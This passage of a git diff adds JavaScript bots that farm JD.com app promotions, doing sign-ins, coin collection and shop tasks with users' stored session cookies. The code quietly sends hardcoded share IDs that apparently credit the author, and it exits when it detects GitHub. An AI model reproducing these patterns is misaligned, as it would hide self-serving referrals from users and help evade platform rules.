$.mian_dan_list.push(order.orderId) + console.log(`商品名称:${order.productName},商品id:${order.orderId}`); + $.message += `商品名称:${order.productName}\n` + } + } + } + resolve() + }) + } catch (error) { + $.logErr(e, resp) + resolve() + } + + + }) +} +function sign(cookie, orderId) { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com?functionId=signFreeSignIn&body=%7B%22linkId%22%3A%22PiuLvM8vamONsWzC0wqBGQ%22%2C%22orderId%22%3A${orderId}%7D&_t=${Date.now()}&appid=activities_platform`, + headers: { + 'Host': 'api.m.jd.com', + 'accept': 'application/json, text/plain, */*', + 'origin': 'https://signfree.jd.com', + 'sec-fetch-dest': 'empty', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'content-type': 'application/x-www-form-urlencoded', + 'x-requested-with': 'com.jd.jdlite', + 'sec-fetch-site': 'same-site', + 'sec-fetch-mode': 'cors', + 'referer': 'https://signfree.jd.com/?activityId=PiuLvM8vamONsWzC0wqBGQ&lng=107.647085&lat=30.280608&sid=2c81fdcf0d34f67bacc5df5b2a4add6w&un_area=4_134_19915_0', + 'accept-encoding': 'gzip, deflate', + 'accept-language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'cookie': cookie + }, + } + $.post(options, async (err, resp, data) => { + try { + console.log(data); + data = JSON.parse(data) + var dataDemo = { "success": false, "code": 400015, "errMsg": "明日签到", "data": null } + if (data.success == false) { + console.log(data.errMsg); + } else { + console.log("签到成功"); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data || ""); + } + }) + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_superMarket.js b/jd_superMarket.js new file mode 100644 index 0000000..fff20db --- /dev/null +++ b/jd_superMarket.js @@ -0,0 +1,1753 @@ +/* +东东超市 +Last Modified time: 2021-3-4 21:22:37 +活动入口:京东APP首页-京东超市-底部东东超市 +Some Functions Modified From https://github.com/Zero-S1/JD_tools/blob/master/JD_superMarket.py +东东超市兑换奖品请使用此脚本 jd_blueCoin.js +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +=================QuantumultX============== +[task_local] +#东东超市 +11 * * * * jd_superMarket.js, tag=东东超市, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxc.png, enabled=true +===========Loon=============== +[Script] +cron "11 * * * *" script-path=jd_superMarket.js,tag=东东超市 +=======Surge=========== +东东超市 = type=cron,cronexp="11 * * * *",wake-system=1,timeout=3600,script-path=jd_superMarket.js +==============小火箭============= +东东超市 = type=cron,script-path=jd_superMarket.js, cronexpr="11 * * * *", timeout=3600, enable=true + */ +const $ = new Env('东东超市'); +//Node.js用户请在jdCookie.js处填写京东ck; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', jdSuperMarketShareArr = [], notify, newShareCodes; +let helpAu = false;//给作者助力 免费拿,省钱大赢家等活动.默认true是,false不助力. +helpAu = $.isNode() ? (process.env.HELP_AUTHOR ? process.env.HELP_AUTHOR === 'true' : helpAu) : helpAu; +let jdNotify = true;//用来是否关闭弹窗通知,true表示关闭,false表示开启。 +let superMarketUpgrade = true;//自动升级,顺序:解锁升级商品、升级货架,true表示自动升级,false表示关闭自动升级 +let businessCircleJump = true;//小于对方300热力值自动更换商圈队伍,true表示运行,false表示禁止 +let drawLotteryFlag = false;//是否用500蓝币去抽奖,true表示开启,false表示关闭。默认关闭 +let joinPkTeam = true;//是否自动加入PK队伍 +let message = '', subTitle; +const JD_API_HOST = 'https://api.m.jd.com/api'; + +//助力好友分享码 +//此此内容是IOS用户下载脚本到本地使用,填写互助码的地方,同一京东账号的好友互助码请使用@符号隔开。 +//下面给出两个账号的填写示例(iOS只支持2个京东账号) +let shareCodes = [] + +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.coincount = 0;//收取了多少个蓝币 + $.coinerr = ""; + $.blueCionTimes = 0; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + //await shareCodesFormat();//格式化助力码 + await jdSuperMarket(); + await showMsg(); + // await businessCircleActivity(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdSuperMarket() { + try { + await smtgHome(); + // await receiveGoldCoin();//收金币 + // await businessCircleActivity();//商圈活动 + await receiveBlueCoin();//收蓝币(小费) + // await receiveLimitProductBlueCoin();//收限时商品的蓝币 + await daySign();//每日签到 + await BeanSign()// + await doDailyTask();//做日常任务,分享,关注店铺, + // await help();//商圈助力 + //await smtgQueryPkTask();//做商品PK任务 + await drawLottery();//抽奖功能(招财进宝) + // await myProductList();//货架 + // await upgrade();//升级货架和商品 + // await manageProduct(); + // await limitTimeProduct(); + await smtg_shopIndex(); + await smtgHome(); + await receiveUserUpgradeBlue(); + await Home(); + if (helpAu === true) { + await helpAuthor(); + } + } catch (e) { + $.logErr(e) + } +} +function showMsg() { + $.log(`【京东账号${$.index}】${$.nickName}\n${message}`); + jdNotify = $.getdata('jdSuperMarketNotify') ? $.getdata('jdSuperMarketNotify') : jdNotify; + if (!jdNotify || jdNotify === 'false') { + $.msg($.name, subTitle ,`【京东账号${$.index}】${$.nickName}\n${message}`); + } +} +//抽奖功能(招财进宝) +async function drawLottery() { + console.log(`\n注意⚠:东东超市抽奖已改版,花费500蓝币抽奖一次,现在脚本默认已关闭抽奖功能\n`); + drawLotteryFlag = $.getdata('jdSuperMarketLottery') ? $.getdata('jdSuperMarketLottery') : drawLotteryFlag; + if ($.isNode() && process.env.SUPERMARKET_LOTTERY) { + drawLotteryFlag = process.env.SUPERMARKET_LOTTERY; + } + if (`${drawLotteryFlag}` === 'true') { + const smtg_lotteryIndexRes = await smtg_lotteryIndex(); + if (smtg_lotteryIndexRes && smtg_lotteryIndexRes.data.bizCode === 0) { + const { result } = smtg_lotteryIndexRes.data + if (result.blueCoins > result.costCoins && result.remainedDrawTimes > 0) { + const drawLotteryRes = await smtg_drawLottery(); + console.log(`\n花费${result.costCoins}蓝币抽奖结果${JSON.stringify(drawLotteryRes)}`); + await drawLottery(); + } else { + console.log(`\n抽奖失败:已抽奖或者蓝币不足`); + console.log(`失败详情:\n现有蓝币:${result.blueCoins},抽奖次数:${result.remainedDrawTimes}`) + } + } + } else { + console.log(`设置的为不抽奖\n`) + } +} +async function help() { + return + console.log(`\n开始助力好友`); + for (let code of newShareCodes) { + if (!code) continue; + const res = await smtgDoAssistPkTask(code); + console.log(`助力好友${JSON.stringify(res)}`); + } +} +async function doDailyTask() { + const smtgQueryShopTaskRes = await smtgQueryShopTask(); + if (smtgQueryShopTaskRes.code === 0 && smtgQueryShopTaskRes.data.success) { + const taskList = smtgQueryShopTaskRes.data.result.taskList; + console.log(`\n日常赚钱任务 完成状态`) + for (let item of taskList) { + console.log(` ${item['title'].length < 4 ? item['title']+`\xa0` : item['title'].slice(-4)} ${item['finishNum'] === item['targetNum'] ? '已完成':'未完成'} ${item['finishNum']}/${item['targetNum']}`) + } + for (let item of taskList) { + //领奖 + if (item.taskStatus === 1 && item.prizeStatus === 1) { + const res = await smtgObtainShopTaskPrize(item.taskId); + console.log(`\n领取做完任务的奖励${JSON.stringify(res)}\n`) + } + //做任务 + if ((item.type === 1 || item.type === 11) && item.taskStatus === 0) { + // 分享任务 + const res = await smtgDoShopTask(item.taskId); + console.log(`${item.subTitle}结果${JSON.stringify(res)}`) + } + if (item.type === 2) { + //逛会场 + if (item.taskStatus === 0) { + console.log('开始逛会场') + const itemId = item.content[item.type].itemId; + const res = await smtgDoShopTask(item.taskId, itemId); + console.log(`${item.subTitle}结果${JSON.stringify(res)}`); + } + } + if (item.type === 8) { + //关注店铺 + if (item.taskStatus === 0) { + console.log('开始关注店铺') + const itemId = item.content[item.type].itemId; + const res = await smtgDoShopTask(item.taskId, itemId); + console.log(`${item.subTitle}结果${JSON.stringify(res)}`); + } + } + if (item.type === 9) { + //开卡领蓝币任务 + if (item.taskStatus === 0) { + console.log('开始开卡领蓝币任务') + const itemId = item.content[item.type].itemId; + const res = await smtgDoShopTask(item.taskId, itemId); + console.log(`${item.subTitle}结果${JSON.stringify(res)}`); + } + } + if (item.type === 10) { + //关注商品领蓝币 + if (item.taskStatus === 0) { + console.log('关注商品') + const itemId = item.content[item.type].itemId; + const res = await smtgDoShopTask(item.taskId, itemId); + console.log(`${item.subTitle}结果${JSON.stringify(res)}`); + } + } + if ((item.type === 8 || item.type === 2 || item.type === 10) && item.taskStatus === 0) { + // await doDailyTask(); + } + } + } +} +async function receiveGoldCoin() { + const options = taskUrl("smtg_newHome", { + "shareId": "", + "channel": "4", + }); + $.get(options, (err, resp, data) => {}); + $.goldCoinData = await smtgReceiveCoin({"type":0}); + if ($.goldCoinData.data && $.goldCoinData.data.bizCode === 0) { + console.log(`领取金币成功:${$.goldCoinData.data.result.receivedGold}`); + message += `【领取金币】${$.goldCoinData.data.result.receivedGold}个\n`; + } else { + console.log($.goldCoinData.data && $.goldCoinData.data.bizMsg); + } +} + +function smtgHome() { + return new Promise((resolve) => { + const options = taskUrl("smtg_newHome", { + "shareId": "", + "channel": "4", + }); + $.get(options, (err, resp, data) => {}); + $.get(taskUrl("smtg_newHome", {"shopType":"0","channel":"18"}), (err, resp, data) => { + try { + if (err) { + console.log("\n东东超市: API查询请求失败 ‼️‼️"); + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + if (data.code === 0 && data.data.success) { + const { result } = data.data; + const { + shopName, + totalBlue, + userUpgradeBlueVos, + turnoverProgress, + currentShopId + } = result; + $.currentShopId = currentShopId + $.userUpgradeBlueVos = userUpgradeBlueVos; + $.turnoverProgress = turnoverProgress; + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//领限时商品的蓝币 +async function receiveLimitProductBlueCoin() { + const res = await smtgReceiveCoin({ "type": 1 }); + console.log(`\n限时商品领蓝币结果:[${res.data.bizMsg}]\n`); + if (res.data.bizCode === 0) { + message += `【限时商品】获得${res.data.result.receivedBlue}个蓝币\n`; + } +} + +//领蓝币 +function receiveBlueCoin(timeout = 0) { + return new Promise((resolve) => { + setTimeout( ()=>{ + $.get(taskUrl('smtg_receiveCoin', {"type": 4, "shopId": $.currentShopId, "channel": "18"}), async (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + $.data = data; + if ($.data.data.bizCode !== 0 && $.data.data.bizCode !== 809) { + $.coinerr = `${$.data.data.bizMsg}`; + message += `【收取小费】${$.data.data.bizMsg}\n`; + console.log(`收取蓝币失败:${$.data.data.bizMsg}`) + return + } + if ($.data.data.bizCode === 0) { + $.coincount += $.data.data.result.receivedBlue; + $.blueCionTimes ++; + console.log(`【京东账号${$.index}】${$.nickName} 第${$.blueCionTimes}次领蓝币成功,获得${$.data.data.result.receivedBlue}个\n`) + if (!$.data.data.result.isNextReceived) { + message += `【收取小费】${$.coincount}个\n`; + return + } + } + await receiveBlueCoin(3000); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +async function daySign() { + const signDataRes = await smtgSign({"shareId":"QcSH6BqSXysv48bMoRfTBz7VBqc5P6GodDUBAt54d8598XAUtNoGd4xWVuNtVVwNO1dSKcoaY3sX_13Z-b3BoSW1W7NnqD36nZiNuwrtyO-gXbjIlsOBFpgIPMhpiVYKVAaNiHmr2XOJptu14d8uW-UWJtefjG9fUGv0Io7NwAQ","channel":"4"}); + await smtgSign({"shareId":"TBj0jH-x7iMvCMGsHfc839Tfnco6UarNx1r3wZVIzTZiLdWMRrmoocTbXrUOFn0J6UIir16A2PPxF50_Eoo7PW_NQVOiM-3R16jjlT20TNPHpbHnmqZKUDaRajnseEjVb-SYi6DQqlSOioRc27919zXTEB6_llab2CW2aDok36g","channel":"4"}); + if (signDataRes && signDataRes.code === 0) { + const signList = await smtgSignList(); + if (signList.data.bizCode === 0) { + $.todayDay = signList.data.result.todayDay; + } + if (signDataRes.code === 0 && signDataRes.data.success) { + message += `【第${$.todayDay}日签到】成功,奖励${signDataRes.data.result.rewardBlue}蓝币\n` + } else { + message += `【第${$.todayDay}日签到】${signDataRes.data.bizMsg}\n` + } + } +} +async function BeanSign() { + const beanSignRes = await smtgSign({"channel": "1"}); + if (beanSignRes && beanSignRes.data['bizCode'] === 0) { + console.log(`每天从指定入口进入游戏,可获得额外奖励:${JSON.stringify(beanSignRes)}`) + } +} +//每日签到 +function smtgSign(body) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_sign', body), async (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 商圈活动 +async function businessCircleActivity() { + // console.log(`\n商圈PK奖励,次日商圈大战开始的时候自动领领取\n`) + joinPkTeam = $.isNode() ? (process.env.JOIN_PK_TEAM ? process.env.JOIN_PK_TEAM : `${joinPkTeam}`) : ($.getdata('JOIN_PK_TEAM') ? $.getdata('JOIN_PK_TEAM') : `${joinPkTeam}`); + const smtg_getTeamPkDetailInfoRes = await smtg_getTeamPkDetailInfo(); + if (smtg_getTeamPkDetailInfoRes && smtg_getTeamPkDetailInfoRes.data.bizCode === 0) { + const { joinStatus, pkStatus, inviteCount, inviteCode, currentUserPkInfo, pkUserPkInfo, prizeInfo, pkActivityId, teamId } = smtg_getTeamPkDetailInfoRes.data.result; + console.log(`\njoinStatus:${joinStatus}`); + console.log(`pkStatus:${pkStatus}\n`); + console.log(`pkActivityId:${pkActivityId}\n`); + + if (joinStatus === 0) { + if (joinPkTeam === 'true') { + console.log(`\n注:PK会在每天的七点自动随机加入作者创建的队伍\n`) + await updatePkActivityIdCDN(''); + console.log(`\nupdatePkActivityId[pkActivityId]:::${$.updatePkActivityIdRes && $.updatePkActivityIdRes.pkActivityId}`); + console.log(`\n京东服务器返回的[pkActivityId] ${pkActivityId}`); + if ($.updatePkActivityIdRes && ($.updatePkActivityIdRes.pkActivityId === pkActivityId)) { + await getTeam(); + let Teams = [] + Teams = $.updatePkActivityIdRes['Teams'] || Teams; + if ($.getTeams && $.getTeams.length) { + Teams = [...Teams, ...$.getTeams.filter(item => item['pkActivityId'] === `${pkActivityId}`)]; + } + const randomNum = randomNumber(0, Teams.length); + + const res = await smtg_joinPkTeam(Teams[randomNum] && Teams[randomNum].teamId, Teams[randomNum] && Teams[randomNum].inviteCode, pkActivityId); + if (res && res.data.bizCode === 0) { + console.log(`加入战队成功`) + } else if (res && res.data.bizCode === 229) { + console.log(`加入战队失败,该战队已满\n无法加入`) + } else { + console.log(`加入战队其他未知情况:${JSON.stringify(res)}`) + } + } else { + console.log('\nupdatePkActivityId请求返回的pkActivityId与京东服务器返回不一致,暂时不加入战队') + } + } + } else if (joinStatus === 1) { + if (teamId) { + console.log(`inviteCode: [${inviteCode}]`); + console.log(`PK队伍teamId: [${teamId}]`); + console.log(`PK队伍名称: [${currentUserPkInfo && currentUserPkInfo.teamName}]`); + console.log(`我邀请的人数:${inviteCount}\n`) + console.log(`\n我方战队战队 [${currentUserPkInfo && currentUserPkInfo.teamName}]/【${currentUserPkInfo && currentUserPkInfo.teamCount}】`); + console.log(`对方战队战队 [${pkUserPkInfo && pkUserPkInfo.teamName}]/【${pkUserPkInfo && pkUserPkInfo.teamCount}】\n`); + } + } + if (pkStatus === 1) { + console.log(`商圈PK进行中\n`) + if (!teamId) { + const receivedPkTeamPrize = await smtg_receivedPkTeamPrize(); + console.log(`商圈PK奖励领取结果:${JSON.stringify(receivedPkTeamPrize)}\n`) + if (receivedPkTeamPrize.data.bizCode === 0) { + if (receivedPkTeamPrize.data.result.pkResult === 1) { + const { pkTeamPrizeInfoVO } = receivedPkTeamPrize.data.result; + message += `【商圈PK奖励】${pkTeamPrizeInfoVO.blueCoin}蓝币领取成功\n`; + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】 ${$.nickName}\n【商圈队伍】PK获胜\n【奖励】${pkTeamPrizeInfoVO.blueCoin}蓝币领取成功`) + } + } else if (receivedPkTeamPrize.data.result.pkResult === 2) { + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】 ${$.nickName}\n【商圈队伍】PK失败`) + } + } + } + } + } else if (pkStatus === 2) { + console.log(`商圈PK结束了`) + if (prizeInfo.pkPrizeStatus === 2) { + console.log(`开始领取商圈PK奖励`); + // const receivedPkTeamPrize = await smtg_receivedPkTeamPrize(); + // console.log(`商圈PK奖励领取结果:${JSON.stringify(receivedPkTeamPrize)}`) + // if (receivedPkTeamPrize.data.bizCode === 0) { + // if (receivedPkTeamPrize.data.result.pkResult === 1) { + // const { pkTeamPrizeInfoVO } = receivedPkTeamPrize.data.result; + // message += `【商圈PK奖励】${pkTeamPrizeInfoVO.blueCoin}蓝币领取成功\n`; + // if ($.isNode()) { + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】 ${$.nickName}\n【商圈队伍】PK获胜\n【奖励】${pkTeamPrizeInfoVO.blueCoin}蓝币领取成功`) + // } + // } else if (receivedPkTeamPrize.data.result.pkResult === 2) { + // if ($.isNode()) { + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】 ${$.nickName}\n【商圈队伍】PK失败`) + // } + // } + // } + } else if (prizeInfo.pkPrizeStatus === 1) { + console.log(`商圈PK奖励已经领取\n`) + } + } else if (pkStatus === 3) { + console.log(`商圈PK暂停中\n`) + } + } else { + console.log(`\n${JSON.stringify(smtg_getTeamPkDetailInfoRes)}\n`) + } + return + const businessCirclePKDetailRes = await smtg_businessCirclePKDetail(); + if (businessCirclePKDetailRes && businessCirclePKDetailRes.data.bizCode === 0) { + const { businessCircleVO, otherBusinessCircleVO, inviteCode, pkSettleTime } = businessCirclePKDetailRes.data.result; + console.log(`\n【您的商圈inviteCode互助码】:\n${inviteCode}\n\n`); + const businessCircleIndexRes = await smtg_businessCircleIndex(); + const { result } = 